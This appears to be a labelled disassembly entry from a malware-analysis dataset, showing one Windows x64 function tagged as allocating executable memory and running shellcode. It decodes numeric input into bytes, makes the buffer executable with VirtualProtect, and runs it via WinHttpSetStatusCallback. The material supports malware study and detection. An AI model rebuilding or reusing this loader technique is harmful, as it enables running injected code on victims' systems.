Function at 0x1400217f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library

Disassembly:
push r15
mov eax, 0x1808
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140015680
sub rsp, rax
lea r14, [rsp + 0x90]
mov rdx, rcx
mov r12, rcx
mov rcx, r14
call sub.msvcrt.dll_strcpy
mov rcx, r12
call fcn.1400b7290
mov rcx, r14
call sub.msvcrt.dll_strlen
mov rcx, qword [0x1400c14a0]
mov rdx, r14
mov r8, rax
call fcn.1400b17d0
mov r15, qword [0x1400c14a0]
mov rax, qword [r15]
mov rax, qword [rax - 0x18]
mov r12, qword [r15 + rax + 0xf0]
test r12, r12
je 0x140021d3c
cmp byte [r12 + 0x38], 0
je 0x140021b98
movsx edx, byte [r12 + 0x43]
mov rcx, qword [0x1400c14a0]
lea r12, [rsp + 0x50]
mov rsi, r14
lea rdi, [rsp + 0x70]
lea rbp, [rsp + 0x80]
call fcn.140075c60
mov rcx, rax
call fcn.140075e50
lea rax, [rsp + 0x60]
mov rcx, r14
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x50], rax
call sub.msvcrt.dll_strlen
mov rcx, r12
mov rdx, r14
lea r12, [rsp + 0x46]
lea r8, [r14 + rax]
call fcn.1400a2930
xor eax, eax
jmp 0x14002195c
mov r8, qword [rsp + 0x58]
lea rbx, [rax + 4]
cmp r8, rax
jb 0x140021d23
mov rdx, qword [rsp + 0x50]
sub r8, rax
mov rcx, rdi
mov qword [rsp + 0x70], rbp
mov r13, rdi
add rdx, rax
cmp r8, rbx
cmova r8, rbx
add r8, rdx
call fcn.1400a2930
cmp qword [rsp + 0x78], 3
jbe 0x140021bd0
xor r9d, r9d
mov r8d, 4
mov rdx, r12
mov rcx, rdi
call fcn.140031920
mov rcx, r12
call sub.msvcrt.dll_atoi
mov rcx, qword [rsp + 0x70]
mov byte [rsi], al
cmp rcx, rbp
je 0x14002194c
mov rax, qword [rsp + 0x80]
lea rdx, [rax + 1]
call fcn.1400b72b0
add rsi, 1
cmp rbx, 0x5dc0
je 0x14002196a
mov rax, rbx
cmp byte [rsi], 0
jne 0x1400218d0
lea r13, [rsp + 0x70]
mov r8d, 0x40
mov edx, 0x1770
mov r9, r13
mov rcx, r14
mov dword [rsp + 0x70], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, 5
lea rdx, str.hahah
test eax, eax
je 0x140021ca7
mov rcx, qword [0x1400c14a0]
mov r8d, 8
lea rdx, str.success5
call fcn.1400b17d0
mov rax, qword [r15]
mov rax, qword [rax - 0x18]
mov r12, qword [r15 + rax + 0xf0]
test r12, r12
je 0x140021d3c
cmp byte [r12 + 0x38], 0
je 0x140021b60
movsx edx, byte [r12 + 0x43]
mov rcx, qword [0x1400c14a0]
call fcn.140075c60
mov rcx, rax
call fcn.140075e50
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
lea rcx, str.User_Agent
call sub.WINHTTP.dll_WinHttpOpen
xor r9d, r9d
mov r8d, 0xc00
mov rdx, r14
mov rcx, rax
mov r13, rax
call sub.WINHTTP.dll_WinHttpSetStatusCallback
cmp rax, 0xffffffffffffffff
je 0x140021c9a
mov rcx, qword [0x1400c14a0]
mov r8d, 8
lea rdx, [0x1400bc133]
call fcn.1400b17d0
mov rax, qword [r15]
mov rax, qword [rax - 0x18]
mov r12, qword [r15 + rax + 0xf0]
test r12, r12
je 0x140021d3c
cmp byte [r12 + 0x38], 0
je 0x140021c68
movsx edx, byte [r12 + 0x43]
mov rcx, qword [0x1400c14a0]
call fcn.140075c60
mov rcx, rax
call fcn.140075e50
mov rcx, qword [0x1400c14a0]
mov r8d, 9
lea rdx, str.success7
call fcn.1400b17d0
mov rax, qword [r15]
mov rax, qword [rax - 0x18]
mov r12, qword [r15 + rax + 0xf0]
test r12, r12
je 0x140021d3c
cmp byte [r12 + 0x38], 0
je 0x140021c30
movsx edx, byte [r12 + 0x43]
mov rcx, qword [0x1400c14a0]
call fcn.140075c60
mov rcx, rax
call fcn.140075e50
mov r12, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov r14, qword [r12 + rax + 0xf0]
test r14, r14
je 0x140021d3c
cmp byte [r14 + 0x38], 0
je 0x140021bf8
movsx edx, byte [r14 + 0x43]
mov rcx, r12
mov r12d, 1
call fcn.140075c60
mov rcx, rax
call fcn.140075e50
mov rcx, r13
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rcx, qword [rsp + 0x50]
cmp rcx, qword [rsp + 0x38]
je 0x140021b43
mov rax, qword [rsp + 0x60]
lea rdx, [rax + 1]
call fcn.1400b72b0
mov eax, r12d
add rsp, 0x1808
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r12
call fcn.14002d620
mov rax, qword [r12]
mov edx, 0xa
lea rcx, [0x14002dac0]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x1400219e1
mov rcx, r12
call rax
movsx edx, al
jmp 0x1400219e1
mov rcx, r12
call fcn.14002d620
mov rax, qword [r12]
mov edx, 0xa
lea rcx, [0x14002dac0]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140021872
mov rcx, r12
call rax
movsx edx, al
jmp 0x140021872
mov rcx, qword [rsp + 0x70]
cmp rcx, rbp
je 0x14002196a
mov rax, qword [rsp + 0x80]
lea rdx, [rax + 1]
call fcn.1400b72b0
jmp 0x14002196a
mov rcx, r14
call fcn.14002d620
mov rax, qword [r14]
mov edx, 0xa
lea rcx, [0x14002dac0]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140021b0b
mov rcx, r14
call rax
movsx edx, al
jmp 0x140021b0b
mov rcx, r12
call fcn.14002d620
mov rax, qword [r12]
mov edx, 0xa
lea rcx, [0x14002dac0]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140021acc
mov rcx, r12
call rax
movsx edx, al
jmp 0x140021acc
mov rcx, r12
call fcn.14002d620
mov rax, qword [r12]
mov edx, 0xa
lea rcx, [0x14002dac0]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140021a75
mov rcx, r12
call rax
movsx edx, al
jmp 0x140021a75
mov r8d, 6
lea rdx, str.error7
mov rcx, qword [0x1400c14a0]
call fcn.1400b17d0
mov rax, qword [r15]
mov rax, qword [rax - 0x18]
mov r12, qword [r15 + rax + 0xf0]
test r12, r12
je 0x140021d3c
cmp byte [r12 + 0x38], 0
je 0x140021cf8
movsx edx, byte [r12 + 0x43]
mov rcx, qword [0x1400c14a0]
mov r12d, 0xffffffff
call fcn.140075c60
mov rcx, rax
call fcn.140075e50
jmp 0x140021b29
mov rcx, r12
call fcn.14002d620
mov rax, qword [r12]
mov edx, 0xa
lea rcx, [0x14002dac0]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140021cd5
mov rcx, r12
call rax
movsx edx, al
jmp 0x140021cd5
mov r9, r8
lea rdx, [0x1400bc0bf]
mov r8, rax
lea rcx, [0x1400bc0d8]
call fcn.1400b24e0
call fcn.1400b82f0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop